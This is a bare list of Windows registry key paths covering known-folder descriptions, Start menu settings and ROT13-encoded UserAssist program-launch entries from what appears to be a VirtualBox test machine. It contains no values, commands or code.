HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{9E3995AB-1F9C-4F13-B827-48B24B6C7174}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuPinnedList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheSMP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCacheTBP
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.TrggvatFgnegrq
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pnyp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.FgvpxlAbgrf
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.PbagebyCnary.Gnfxone
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\rkcybere.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IOBKJVAQBJFNQQVGVBAF-NZQ64.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\IObkQeiVafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\ertrqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\IOBKFIE\Qbjaybnqf\9.0_NqorEqe90_ra_HF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvrkrp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.JvaqbjfVafgnyyre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\CVY-1.1.7.jva32-cl2.7.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\wqx-7-jvaqbjf-v586.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\frghc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IObkJvaqbjfNqqvgvbaf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\HfreNppbhagPbagebyFrggvatf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erxrljvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zzp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\fyhv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\frgup.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FlfgrzCebcregvrfNqinaprq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\AQC451-XO2858728-k86-k64-NyyBF-RAH.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 9.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\havafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\NccQngn\Ybpny\Grzc\~afh.gzc\Nh_.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\jvaire.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clgubaj.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{7SR8Q22N-SO1Q-N8OR-01R3-6P8693961R6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.64Ovg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qbjaybnqf\Nhgbehaf64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre 9.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Benpyr IZ IveghnyObk Thrfg Nqqvgvbaf\Havafgnyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere (64-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32\(Default)
